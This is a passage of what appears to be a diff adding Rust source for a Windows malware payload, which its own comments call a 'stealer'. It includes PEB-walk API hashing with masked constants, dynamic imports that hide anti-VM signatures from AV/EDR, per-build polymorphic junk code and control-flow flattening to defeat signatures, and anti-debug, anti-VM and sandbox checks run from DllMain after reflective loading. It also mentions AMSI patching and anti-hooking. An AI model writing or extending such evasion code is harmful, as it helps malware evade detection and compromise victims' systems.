i += 1;
}
h
}
unsafe fn hash_ascii(ptr: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
loop {
let c = ptr::read_volatile((ptr + i) as *const u8) as u32;
if c == 0 {
return h;
}
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add(c - 0x20);
} else {
h = h.wrapping_add(c);
}
i += 1;
}
}
/// Find a module base by its base-name rotating hash.
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
if ldr == 0 {
return 0;
}
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
if head == 0 {
return 0;
}
let mut cur = head;
loop {
if cur == 0 {
return 0;
}
let entry = cur.wrapping_sub(0x10);
let name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize;
if name_len > 0 {
let name_ptr = ptr::read_volatile((entry + 0x60) as *const usize);
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
return ptr::read_volatile((entry + 0x30) as *const usize);
}
}
let next = ptr::read_volatile((entry + 0x10) as *const usize);
if next == head || next == cur {
break;
}
cur = next;
}
0
}
/// Resolve an export of `base` by its ror-hashed name.
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
let lfanew = ptr::read_volatile((base + 0x3C) as *const u32) as usize;
let dd = base + lfanew + 4 + 20 + 112;
let ed_rva = ptr::read_volatile((dd + 0) as *const u32) as usize;
if ed_rva == 0 {
return 0;
}
let ed = base + ed_rva;
let num_names = ptr::read_volatile((ed + 24) as *const u32) as usize;
let addr_of_names = ptr::read_volatile((ed + 32) as *const u32) as usize;
let addr_of_funcs = ptr::read_volatile((ed + 28) as *const u32) as usize;
let addr_of_ord = ptr::read_volatile((ed + 36) as *const u32) as usize;
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
return 0;
}
for i in 0..num_names {
let name_rva = ptr::read_volatile((base + addr_of_names + i * 4) as *const u32) as usize;
if hash_ascii(base + name_rva) == want {
let ordinal = ptr::read_volatile((base + addr_of_ord + i * 2) as *const u16) as usize;
let fn_rva = ptr::read_volatile((base + addr_of_funcs + ordinal * 4) as *const u32) as usize;
if fn_rva != 0 {
return base + fn_rva;
}
return 0;
}
}
0
}
unsafe fn peb_pointer() -> usize {
let peb: usize;
core::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
peb
}
/// Public PEB pointer accessor (used by antihook's IAT walk).
pub unsafe fn peb_ptr() -> usize {
peb_pointer()
}
// API-hash constants stored XORed with HASH_KEY so raw ror-hashes never
// appear in the binary. `r()` unmasks at runtime (black_box blocks the
// optimizer from folding the XOR back to the plain value).
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
#[inline(always)]
fn r(h: u32) -> u32 {
h ^ core::hint::black_box(HASH_KEY)
}
const HASH_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY;
const HASH_NTDLL: u32 = 0xE600_0091 ^ HASH_KEY;
const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
const HASH_VIRTUALPROTECT: u32 = 0x2A00_009B ^ HASH_KEY;
const HASH_CHECK_REMOTE_DEBUGGER_PRESENT: u32 = 0xF162_D81F ^ HASH_KEY;
type CheckRemoteDebuggerFn =
unsafe extern "system" fn(process: usize, present: *mut i32) -> i32;
/// Resolve `CheckRemoteDebuggerPresent` by hash (kernel32). Returns its VA or 0.
pub unsafe fn check_remote_debugger() -> usize {
let k32 = module_base_by_hash(peb_pointer(), r(HASH_KERNEL32));
if k32 == 0 {
return 0;
}
export_by_hash(k32, r(HASH_CHECK_REMOTE_DEBUGGER_PRESENT))
}
/// Invoke CheckRemoteDebuggerPresent dynamically. True if a debugger is present.
pub unsafe fn dyn_check_remote_debugger() -> bool {
let raw = check_remote_debugger();
if raw == 0 {
return false;
}
let f: CheckRemoteDebuggerFn = core::mem::transmute(raw);
let mut present: i32 = 0;
f(abi::GetCurrentProcess(), &mut present) != 0 && present != 0
}
/// Resolve `NtQueryInformationProcess` by hash (ntdll). Returns its VA or 0.
pub unsafe fn nt_query_information_process() -> usize {
let peb = peb_pointer();
let ntdll = module_base_by_hash(peb, r(HASH_NTDLL));
if ntdll == 0 {
return 0;
}
export_by_hash(ntdll, r(HASH_NTQUERY_INFORMATION_PROCESS))
}
/// Resolve `VirtualProtect` by hash (kernel32). Returns its VA or 0.
pub unsafe fn virtual_protect() -> usize {
let peb = peb_pointer();
let k32 = module_base_by_hash(peb, r(HASH_KERNEL32));
if k32 == 0 {
return 0;
}
export_by_hash(k32, r(HASH_VIRTUALPROTECT))
}
/// ntdll module base, resolved by hash.
pub unsafe fn ntdll_base() -> usize {
module_base_by_hash(peb_pointer(), r(HASH_NTDLL))
}
/// Resolve any loaded module's base by its wide base-name hash
/// (used for e.g. amsi.dll during AMSI patching).
pub unsafe fn module_base_by_name_hash(want: u32) -> usize {
module_base_by_hash(peb_pointer(), want)
}
/// Public wrapper to resolve an ntdll export by its ror hash (used by antihook).
pub unsafe fn export_by_hash_public(base: usize, want: u32) -> usize {
export_by_hash(base, want)
}
/// A resolved dynamic NT API handle (opaque pointer + castable fn).
type NtQueryFn = unsafe extern "system" fn(
process: usize, class: u32, info: *mut c_void, len: u32, ret: *mut u32,
) -> i32;
type VirtualProtectFn = unsafe extern "system" fn(
addr: *mut c_void, size: usize, prot: u32, old: *mut u32,
) -> i32;
/// Call NtQueryInformationProcess(ProcessDebugFlags) purely via the dynamically
/// resolved pointer. Used by the guard to avoid importing it.
pub unsafe fn dyn_query_debug_flags() -> Option<u32> {
let raw = nt_query_information_process();
if raw == 0 {
return None;
}
let f: NtQueryFn = core::mem::transmute(raw);
let mut flags: u32 = 0;
let st = f(
abi::GetCurrentProcess(),
0x1f,
&mut flags as *mut u32 as *mut c_void,
core::mem::size_of::<u32>() as u32,
ptr::null_mut(),
);
if st == 0 {
Some(flags)
} else {
None
}
}
/// Call NtQueryInformationProcess(ProcessDebugPort) dynamically. Returns
/// Some(port) when the call succeeds and a non-zero port is set (i.e. a debugger
/// is attached), None on failure/no debugger.
pub unsafe fn dyn_query_debug_port() -> bool {
let raw = nt_query_information_process();
if raw == 0 {
return false;
}
let f: NtQueryFn = core::mem::transmute(raw);
let mut port: *mut c_void = ptr::null_mut();
let st = f(
abi::GetCurrentProcess(),
7,
&mut port as *mut *mut c_void as *mut c_void,
core::mem::size_of::<*mut c_void>() as u32,
ptr::null_mut(),
);
st == 0 && !port.is_null()
}
/// Dynamically downgrade an RWX region using the resolved VirtualProtect.
pub unsafe fn dyn_downgrade_rwx(addr: *mut c_void, size: usize) -> bool {
let raw = virtual_protect();
if raw == 0 {
return false;
}
let f: VirtualProtectFn = core::mem::transmute(raw);
let mut old: u32 = 0;
f(addr, size, abi::PAGE_EXECUTE_READ, &mut old) != 0
}
@@ -0,0 +1,270 @@
//! Runtime resolution of anti-analysis APIs — silent import table.
//!
//! A DLL that statically imports `advapi32` (registry), `iphlpapi`
//! (GetAdaptersAddresses) and the user32 window/display enumeration APIs is a
//! textbook anti-VM signature: those functions are almost never legitimately
//! imported together in a normal module. Static AV/EDR triage reads the PE
//! import table *before* execution.
//!
//! Every API used for VM / sandbox / hook probing here is resolved at runtime
//! by walking the PEB module list and hashing export names (same technique as
//! `apires`, which resolves ntdll/kernel32 for the guard). The resulting
//! import table contains only benign kernel32 staples.
#![allow(dead_code)]
#![allow(non_snake_case)]
use core::ffi::c_void;
use crate::apires;
// ---------------------------------------------------------------------------
// Module-name ror-hashes (wide). kernel32/ntdll already resolved by apires.
//
// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks
// constant-folding) so raw ror-hashes never appear in the binary.
// ---------------------------------------------------------------------------
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
#[inline(always)]
fn r(h: u32) -> u32 {
h ^ core::hint::black_box(HASH_KEY)
}
const H_USER32: u32 = 0xC780_008F ^ HASH_KEY;
const H_ADVAPI32: u32 = 0xC120_008F ^ HASH_KEY;
const H_IPHLPAPI: u32 = 0x0120_0092 ^ HASH_KEY;
const H_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY;
// Export-name ror-hashes (verified algorithm).
const H_REG_OPEN_KEY_EX_W: u32 = 0x6100_00A8 ^ HASH_KEY;
const H_REG_CLOSE_KEY: u32 = 0xBC00_00A0 ^ HASH_KEY;
const H_REG_QUERY_VALUE_EX_W: u32 = 0xE6E0_00A6 ^ HASH_KEY;
const H_REG_ENUM_KEY_EX_W: u32 = 0x7600_00A8 ^ HASH_KEY;
const H_GET_ADAPTERS_ADDRESSES: u32 = 0xA971_209D ^ HASH_KEY;
const H_ENUM_WINDOWS: u32 = 0x6B40_00A4 ^ HASH_KEY;
const H_GET_WINDOW_TEXT_W: u32 = 0xF548_00A9 ^ HASH_KEY;
const H_GET_CLASS_NAME_W: u32 = 0xB590_009E ^ HASH_KEY;
const H_GET_SYSTEM_METRICS: u32 = 0xCE52_009A ^ HASH_KEY;
const H_ENUM_DISPLAY_SETTINGS_W: u32 = 0xAD17_A0A5 ^ HASH_KEY;
const H_ENUM_DISPLAY_DEVICES_W: u32 = 0x9C2F_40A3 ^ HASH_KEY;
const H_GET_LAST_INPUT_INFO: u32 = 0xFCE2_0098 ^ HASH_KEY;
const H_GET_CURSOR_POS: u32 = 0xC120_00A2 ^ HASH_KEY;
const H_GET_SYSTEM_FIRMWARE_TABLE: u32 = 0x7649_488D ^ HASH_KEY;
// ---------------------------------------------------------------------------
// Cached resolved pointers
// ---------------------------------------------------------------------------
struct Cache {
reg_open: usize,
reg_close: usize,
reg_query: usize,
reg_enum: usize,
adapters: usize,
enum_windows: usize,
get_window_text: usize,
get_class_name: usize,
get_system_metrics: usize,
enum_display_settings: usize,
enum_display_devices: usize,
get_last_input: usize,
get_cursor_pos: usize,
get_system_firmware_table: usize,
}
const CACHE_ZERO: Cache = Cache {
reg_open: 0, reg_close: 0, reg_query: 0, reg_enum: 0, adapters: 0,
enum_windows: 0, get_window_text: 0, get_class_name: 0,
get_system_metrics: 0, enum_display_settings: 0, enum_display_devices: 0,
get_last_input: 0, get_cursor_pos: 0, get_system_firmware_table: 0,
};
static mut CACHE: Cache = CACHE_ZERO;
static mut INIT: bool = false;
#[inline]
unsafe fn resolve(module_hash: u32, fn_hash: u32) -> usize {
// Both arguments are stored scrambled; unmask before lookup so the raw
// values only ever exist transiently in registers at runtime.
let base = apires::module_base_by_name_hash(r(module_hash));
if base == 0 {
return 0;
}
apires::export_by_hash_public(base, r(fn_hash))
}
#[inline]
unsafe fn ensure() {
if INIT {
return;
}
CACHE.reg_open = resolve(H_ADVAPI32, H_REG_OPEN_KEY_EX_W);
CACHE.reg_close = resolve(H_ADVAPI32, H_REG_CLOSE_KEY);
CACHE.reg_query = resolve(H_ADVAPI32, H_REG_QUERY_VALUE_EX_W);
CACHE.reg_enum = resolve(H_ADVAPI32, H_REG_ENUM_KEY_EX_W);
CACHE.adapters = resolve(H_IPHLPAPI, H_GET_ADAPTERS_ADDRESSES);
CACHE.enum_windows = resolve(H_USER32, H_ENUM_WINDOWS);
CACHE.get_window_text = resolve(H_USER32, H_GET_WINDOW_TEXT_W);
CACHE.get_class_name = resolve(H_USER32, H_GET_CLASS_NAME_W);
CACHE.get_system_metrics = resolve(H_USER32, H_GET_SYSTEM_METRICS);
CACHE.enum_display_settings = resolve(H_USER32, H_ENUM_DISPLAY_SETTINGS_W);
CACHE.enum_display_devices = resolve(H_USER32, H_ENUM_DISPLAY_DEVICES_W);
CACHE.get_last_input = resolve(H_USER32, H_GET_LAST_INPUT_INFO);
CACHE.get_cursor_pos = resolve(H_USER32, H_GET_CURSOR_POS);
CACHE.get_system_firmware_table = resolve(H_KERNEL32, H_GET_SYSTEM_FIRMWARE_TABLE);
INIT = true;
}
// ---------------------------------------------------------------------------
// Typed wrappers
// ---------------------------------------------------------------------------
pub unsafe fn RegOpenKeyExW(
h_key: usize,
sub: *const u16,
opts: u32,
sam: u32,
out: *mut usize,
) -> i32 {
ensure();
if CACHE.reg_open == 0 { return -1; }
let f: unsafe extern "system" fn(usize, *const u16, u32, u32, *mut usize) -> i32 =
core::mem::transmute(CACHE.reg_open);
f(h_key, sub, opts, sam, out)
}
pub unsafe fn RegCloseKey(h_key: usize) -> i32 {
ensure();
if CACHE.reg_close == 0 { return -1; }
let f: unsafe extern "system" fn(usize) -> i32 = core::mem::transmute(CACHE.reg_close);
f(h_key)
}
pub unsafe fn RegQueryValueExW(
h_key: usize,
name: *const u16,
res: *mut u32,
ty: *mut u32,
data: *mut u8,
size: *mut u32,
) -> i32 {
ensure();
if CACHE.reg_query == 0 { return -1; }
let f: unsafe extern "system" fn(usize, *const u16, *mut u32, *mut u32, *mut u8, *mut u32) -> i32 =
core::mem::transmute(CACHE.reg_query);
f(h_key, name, res, ty, data, size)
}
pub unsafe fn RegEnumKeyExW(
h_key: usize,
index: u32,
name: *mut u16,
name_len: *mut u32,
res: *mut u32,
class: *mut u16,
class_len: *mut u32,
last_write: *mut c_void,
) -> i32 {
ensure();
if CACHE.reg_enum == 0 { return -1; }
let f: unsafe extern "system" fn(usize, u32, *mut u16, *mut u32, *mut u32, *mut u16, *mut u32, *mut c_void) -> i32 =
core::mem::transmute(CACHE.reg_enum);
f(h_key, index, name, name_len, res, class, class_len, last_write)
}
pub unsafe fn GetAdaptersAddresses(
family: u32,
flags: u32,
reserved: *mut c_void,
adapters: *mut c_void,
size: *mut u32,
) -> u32 {
ensure();
if CACHE.adapters == 0 { return 0xFFFFFFFF; }
let f: unsafe extern "system" fn(u32, u32, *mut c_void, *mut c_void, *mut u32) -> u32 =
core::mem::transmute(CACHE.adapters);
f(family, flags, reserved, adapters, size)
}
pub unsafe fn EnumWindows(callback: usize, lparam: isize) -> i32 {
ensure();
if CACHE.enum_windows == 0 { return 0; }
let f: unsafe extern "system" fn(usize, isize) -> i32 = core::mem::transmute(CACHE.enum_windows);
f(callback, lparam)
}
pub unsafe fn GetWindowTextW(hwnd: usize, buf: *mut u16, n: i32) -> i32 {
ensure();
if CACHE.get_window_text == 0 { return 0; }
let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 =
core::mem::transmute(CACHE.get_window_text);
f(hwnd, buf, n)
}
pub unsafe fn GetClassNameW(hwnd: usize, buf: *mut u16, n: i32) -> i32 {
ensure();
if CACHE.get_class_name == 0 { return 0; }
let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 =
core::mem::transmute(CACHE.get_class_name);
f(hwnd, buf, n)
}
pub unsafe fn GetSystemMetrics(index: i32) -> i32 {
ensure();
if CACHE.get_system_metrics == 0 { return 0; }
let f: unsafe extern "system" fn(i32) -> i32 = core::mem::transmute(CACHE.get_system_metrics);
f(index)
}
pub unsafe fn EnumDisplaySettingsW(
device: *const u16,
mode: u32,
devmode: *mut c_void,
) -> i32 {
ensure();
if CACHE.enum_display_settings == 0 { return 0; }
let f: unsafe extern "system" fn(*const u16, u32, *mut c_void) -> i32 =
core::mem::transmute(CACHE.enum_display_settings);
f(device, mode, devmode)
}
pub unsafe fn EnumDisplayDevicesW(
device: *const u16,
idx: u32,
info: *mut c_void,
flags: u32,
) -> i32 {
ensure();
if CACHE.enum_display_devices == 0 { return 0; }
let f: unsafe extern "system" fn(*const u16, u32, *mut c_void, u32) -> i32 =
core::mem::transmute(CACHE.enum_display_devices);
f(device, idx, info, flags)
}
pub unsafe fn GetLastInputInfo(plii: *mut c_void) -> i32 {
ensure();
if CACHE.get_last_input == 0 { return 0; }
let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_last_input);
f(plii)
}
pub unsafe fn GetCursorPos(point: *mut c_void) -> i32 {
ensure();
if CACHE.get_cursor_pos == 0 { return 0; }
let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_cursor_pos);
f(point)
}
pub unsafe fn GetSystemFirmwareTable(
provider: u32,
table_id: u32,
buffer: *mut c_void,
size: u32,
) -> u32 {
ensure();
if CACHE.get_system_firmware_table == 0 { return 0; }
let f: unsafe extern "system" fn(u32, u32, *mut c_void, u32) -> u32 =
core::mem::transmute(CACHE.get_system_firmware_table);
f(provider, table_id, buffer, size)
}
@@ -0,0 +1,247 @@
//! Control-flow obfuscation helpers (polymorphic).
//!
//! Static analysis tools build a control-flow graph and reason about whether the
//! payload "looks" like a stealer. These helpers insert opaque predicates,
//! control-flow flattening, per-build junk instruction blocks, and bogus
//! control-flow edges that are true at runtime but hard to prove statically.
//!
//! The seeds, junk strengths and branch tags come from `gen.rs`, which is
//! regenerated before every build. This makes the emitted machine code — and
//! therefore the artifact's hash — different on every build, so a static
//! signature that matches one build will not match the next.
use crate::gen;
use core::hint::black_box;
/// Opaque predicate: always evaluates to `true` at runtime but is not obviously
/// constant to a static solver. Uses multiple rounds of non-linear arithmetic.
#[inline(never)]
pub fn opaque_true(seed: u32) -> bool {
let mut x = seed.wrapping_add(gen::GEN_SEED).wrapping_mul(0x9E37_79B9);
x = x.wrapping_add(0x7F4A_7C15);
x ^= x >> 13;
x = x.wrapping_mul(0x5D58_85A9);
x ^= x >> 16;
x = x.wrapping_mul(0x85EBCA6B);
// Final non-linear mix: for any input this is non-zero.
(x | (x.wrapping_mul(3) ^ 0x1234_5678)) != 0
}
/// Opaque predicate that evaluates to `false` (complement of opaque_true).
#[inline(never)]
pub fn opaque_false(seed: u32) -> bool {
!opaque_true(seed.wrapping_add(0xDEAD_BEEF))
}
/// 3-way opaque choice: picks one of three branches based on opaque state.
/// All three arms are real code; static analysis sees a 3-way join.
#[inline]
pub fn opaque_choice3(seed: u32, a: impl FnOnce(), b: impl FnOnce(), c: impl FnOnce()) {
let idx = opaque_index(seed, 3);
match idx {
0 => a(),
1 => b(),
_ => c(),
}
}
/// 4-way opaque choice for even more CFG complexity.
#[inline]
pub fn opaque_choice4(
seed: u32,
a: impl FnOnce(),
b: impl FnOnce(),
c: impl FnOnce(),
d: impl FnOnce(),
) {
let idx = opaque_index(seed, 4);
match idx {
0 => a(),
1 => b(),
2 => c(),
_ => d(),
}
}
/// Opaque index in range [0, n) derived from seed.
#[inline(never)]
fn opaque_index(seed: u32, n: u32) -> u32 {
let mut x = seed.wrapping_add(gen::GEN_SEED);
x = x.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15);
x ^= x >> 16;
x = x.wrapping_mul(0x5D58_85A9);
(x ^ (x >> 13)) % n
}
/// Pick one of two branches at runtime based on an opaque predicate. Both arms
/// are real code; the selection is not statically obvious, so an analyzer sees a
/// join that could be either path.
#[inline]
pub fn opaque_choice(seed: u32, a: impl FnOnce(), b: impl FnOnce()) {
if opaque_true(seed) {
a();
} else {
b();
}
}
/// Return a value only known at runtime, so a branch on it can't be constant
/// folded by a tool that inspects the binary in isolation.
#[inline(never)]
pub fn run_time_nonce() -> u32 {
let sp: usize;
unsafe { core::arch::asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags)); }
let tsc_lo: u32;
unsafe { core::arch::asm!("rdtsc", out("eax") tsc_lo, options(nostack, preserves_flags)); }
((sp as u32) ^ gen::GEN_SEED ^ tsc_lo) | 1
}
/// Emit a block of junk arithmetic that the optimizer keeps (its result feeds a
/// black_box sink) but whose shape — number of ops, widths, rotation amount —
/// is re-randomized per build through `gen`. This injects polymorphic dead-ish
/// code into the hot path and changes the emitted bytes every build.
#[inline(never)]
pub fn junk() {
let variant = gen::JUNK_VARIANT;
let mut acc = gen::JUNK_XOR ^ run_time_nonce();
let n = (gen::JUNK_N % 16) + 4;
let mut i = 0u32;
while i < n {
match variant {
0 => {
acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i);
acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1);
}
1 => {
acc = acc.wrapping_add(gen::JUNK_ROT).wrapping_mul(0x7F4A_7C15).wrapping_add(i);
acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1);
}
2 => {
acc = acc.wrapping_mul(0x5D58_85A9).wrapping_add(gen::JUNK_XOR).wrapping_add(i);
acc = acc.wrapping_add(acc.rotate_right(7)) ^ acc.rotate_left(13);
}
_ => {
acc = acc.wrapping_mul(0x85EBCA6B).wrapping_add(gen::OPAQUE_TAG as u32).wrapping_add(i);
acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1);
acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1);
}
}
i += 1;
}
black_box(acc);
}
/// More complex junk block with data-dependent control flow (opaque predicates
/// inside the junk itself). This defeats simple pattern matching on junk blocks.
#[inline(never)]
pub fn junk_complex(seed: u32) {
let complexity = gen::OPAQUE_COMPLEXITY as u32;
let mut acc = seed.wrapping_add(gen::JUNK_XOR) ^ run_time_nonce();
let n = (gen::JUNK_N % 24) + 8;
let mut i = 0u32;
while i < n {
acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i);
// Opaque selector picks one of several arithmetic paths; a static
// analyzer sees all of them as reachable.
let sel = opaque_index(i.wrapping_add(seed), complexity.max(1));
match sel {
0 => acc ^= acc.rotate_right(gen::JUNK_ROT % 31 + 1),
1 => acc ^= acc.rotate_left(gen::JUNK_ROT % 31 + 1),
2 => acc = acc.wrapping_add(acc.rotate_right(7)),
_ => acc = acc.wrapping_mul(0x85EBCA6B),
}
i += 1;
}
black_box(acc);
}
/// Control-flow flattening dispatcher. Transforms a linear sequence of blocks
/// into a state-machine loop with opaque state transitions. The `blocks`
/// closure receives a state and executes the corresponding block, returning
/// the next state (or u32::MAX to exit).
///
/// Usage:
/// ```ignore
/// let mut state = 0;
/// while state != u32::MAX {
/// state = flatten_dispatch(state, |s| match s {
/// 0 => { do_work_0(); 1 },
/// 1 => { do_work_1(); 2 },
/// 2 => { do_work_2(); u32::MAX },
/// _ => u32::MAX,
/// });
/// }
/// ```
#[inline(never)]
pub fn flatten_dispatch<F>(mut state: u32, blocks: F) -> u32
where
F: Fn(u32) -> u32,
{
let seed = run_time_nonce();
// Opaque state encoding: real state is XORed with per-iteration keystream
// Use CFF_KEY for per-build variance in the encoding scheme
let cff_mul1 = gen::CFF_KEY.wrapping_mul(0x9E37_79B9);
let cff_mul2 = gen::CFF_KEY.wrapping_mul(0x5D58_85A9);
let cff_add = gen::CFF_KEY.wrapping_mul(0x7F4A_7C15);
let mut encoded = state ^ cff_mul1;
let mut iterations = 0u32;
loop {
// Decode current state
let decoded = encoded ^ (cff_mul1.wrapping_add(iterations));
let next = blocks(decoded);
if next == u32::MAX {
break;
}
// Re-encode next state with different keystream
encoded = next ^ (cff_mul2.wrapping_add(iterations.wrapping_mul(cff_add)));
iterations += 1;
// Inject junk every few iterations
if (iterations & 3) == 0 {
junk_complex(seed.wrapping_add(iterations));
}
// Safety bound
if iterations > 100 {
break;
}
}
state
}
/// Bogus control flow: creates a fake loop that looks like it could iterate
/// but actually runs exactly once. Confuses static analyzers looking for loops.
#[inline(never)]
pub fn bogus_loop<F: Fn()>(seed: u32, body: F) {
let mut counter = opaque_index(seed, 4) + 1; // 1-4
while counter != 0 {
if opaque_true(seed.wrapping_add(counter)) {
body();
}
counter = counter.wrapping_sub(1);
// Opaque: this looks like it could continue but counter always reaches 0
if opaque_false(seed.wrapping_add(counter)) {
counter = 0;
}
}
}
/// Deterministic per-build opaque branch tag; used to seed guards' join
/// counters so each artifact's control flow graph is unique.
#[inline]
pub fn branch_tag() -> u64 {
gen::OPAQUE_TAG
}
/// Opaque loop bound: returns a value that looks variable but is actually
/// bounded and deterministic per-build. Use for loop counters that should
/// appear dynamic to static analysis.
#[inline(never)]
pub fn opaque_bound(seed: u32, min: u32, max: u32) -> u32 {
let range = max - min + 1;
min + opaque_index(seed, range)
}
@@ -0,0 +1,26 @@
// AUTO-GENERATED per build by builder.py. Do not edit.
// Each build rewrites this file, so the guard's keys, seeds and junk
// blocks are unique to every artifact.
pub const GEN_SEED: u32 = 0xAFFBBF43;
pub const K_TOKEN: u8 = 90;
pub const K_VENDOR: u8 = 190;
pub const K_SMBIOS: u8 = 74;
pub const K_ENV: u8 = 42;
pub const K_DISPLAY: u8 = 193;
pub const JUNK_XOR: u32 = 0x422E101B;
pub const JUNK_ROT: u32 = 0x1FE84ADD;
pub const JUNK_N: u32 = 10;
pub const OPAQUE_TAG: u64 = 0xD260CBEF81B2C5F2;
// Polymorphic control-flow / evasion layer constants
pub const CFF_KEY: u32 = 0x96995F09;
pub const SYSCALL_TRAMP: u8 = 4;
pub const SLEEP_ROUNDS: u8 = 4;
pub const HOOK_ORDER_SEED: u32 = 0x140CC4BB;
pub const STACK_SPOOF_OFF: u32 = 0x107F;
pub const JUNK_VARIANT: u8 = 0;
pub const OPAQUE_COMPLEXITY: u8 = 1;
@@ -0,0 +1,655 @@
//! Runtime guard: anti-analysis / anti-debug / anti-VM / sandbox detection.
//!
//! Runs once inside `DllMain` (after the reflective loader has fully mapped and
//! relocated the image, so normal `std` is available). If the environment looks
//! hostile — a debugger, a virtual machine, a sandbox, or a known analysis tool
//! — the guard reports `false` and the payload refuses to start its worker.
//!
//! All detection strings are XOR-encrypted at compile time and only materialized
//! on the stack at the moment of the check, so traces of what the guard is
//! looking for do not sit in `.rodata` as plaintext.
//!
//! The guard is deliberately *defensive*: each check is independent and a few
//! false positives are tolerated (a score system, not a single hard kill), so a
//! real user on a clean machine still runs, while analysis environments that
//! trip many signals are dropped.
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use crate::abi;
use crate::antihook;
use crate::antisbx;
use crate::antivm;
use crate::apires;
use crate::dynapi;
use crate::flow;
use crate::gen;
use crate::obf;
use crate::sleep;
use crate::syscall;
// ---------------------------------------------------------------------------
// Encrypted string helpers
// ---------------------------------------------------------------------------
/// ASCII-lowercase a byte slice.
fn lower(b: &[u8]) -> Vec<u8> {
b.iter().map(|c| c.to_ascii_lowercase()).collect()
}
/// Case-insensitive substring match on bytes.
fn contains(hay: &[u8], needle: &[u8]) -> bool {
if needle.is_empty() || hay.len() < needle.len() {
return false;
}
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
}
// ---------------------------------------------------------------------------
// Anti-debug
// ---------------------------------------------------------------------------
/// PEB being-debugged flag (gs:[0x60] -> PEB.BeingDebugged at +0x02).
#[inline]
unsafe fn peb_being_debugged() -> bool {
let peb: usize;
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
let being = ptr::read_volatile((peb + 0x02) as *const u8);
being != 0
}
/// PEB->NtGlobalFlag at +0xBC (x64). A debugger sets heap-related flags that
/// remain set for the process lifetime (heap flags: 0x70).
#[inline]
unsafe fn peb_nt_global_flag() -> bool {
let peb: usize;
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
let flags = ptr::read_volatile((peb + 0xBC) as *const u32);
// FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK |
// FLG_HEAP_VALIDATE_PARAMETERS | FLG_APPLICATION_VERIFIER
const HEAP_FLAGS: u32 = 0x70 | 0x10 | 0x40;
flags & HEAP_FLAGS == HEAP_FLAGS
}
/// ProcessDebugPort (info class 7) resolved at runtime via hash (no static
/// import). Returns true if a debugger is listening on the debug port.
unsafe fn nt_debug_port() -> bool {
apires::dyn_query_debug_port()
}
/// Check the debug heap on the current process handle (kernel32, resolved at
/// runtime so it doesn't appear in the import table).
unsafe fn remote_debugger_present() -> bool {
apires::dyn_check_remote_debugger()
}
/// Timing check: RDTSC must tick at a sane rate. Stepping through the code
/// under a breakpoint dramatically inflates the delta.
#[inline]
unsafe fn rdtsc() -> u64 {
let mut lo: u32;
let mut hi: u32;
asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags));
((hi as u64) << 32) | lo as u64
}
unsafe fn timing_sane() -> bool {
let a = rdtsc();
let mut sink: u64 = 0;
for i in 0..2000u64 {
sink ^= i.wrapping_mul(0x9E37_79B9);
}
let b = rdtsc();
let _ = sink;
// Single-stepping / breakpoints insert far more cycles than a real loop.
b.wrapping_sub(a) < 500_000
}
// ---------------------------------------------------------------------------
// Anti-VM
// ---------------------------------------------------------------------------
#[repr(C)]
#[derive(Clone, Copy)]
struct MemStatusEx {
dw_length: u32,
dw_memory_load: u32,
ull_total_phys: u64,
ull_avail_phys: u64,
ull_total_page_file: u64,
ull_avail_page_file: u64,
ull_total_virtual: u64,
ull_avail_virtual: u64,
ull_avail_extended_virtual: u64,
}
/// CPUID hypervisor-present bit (leaf 1, ECX bit 31) and vendor string
/// (leaf 0x40000000). Detects Hyper-V, VMware, KVM, VirtualBox, QEMU, Xen.
unsafe fn cpu_hypervisor() -> bool {
#[inline]
unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) {
let mut a = leaf;
let mut c = sub;
let mut d = 0u32;
let mut b = 0u32;
// rbx is owned by LLVM, so save/restore it across cpuid and capture ebx
// into a general-purpose register operand.
asm!(
"push rbx",
"cpuid",
"mov {tmp:e}, ebx",
"pop rbx",
inout("eax") a,
inout("ecx") c,
out("edx") d,
tmp = lateout(reg) b,
options(nostack, preserves_flags),
);
(a, b, c, d)
}
// Hypervisor present?
let (_, _, ecx, _) = cpuid(1, 0);
if ecx & (1 << 31) == 0 {
return false;
}
// Vendor string (12 bytes in EBX:EDX:ECX).
let (ebx, edx, ecx, _) = cpuid(0x4000_0000, 0);
let mut v = Vec::with_capacity(12);
for b in [ebx.to_le_bytes(), ecx.to_le_bytes(), edx.to_le_bytes()].iter().flatten() {
v.push(*b);
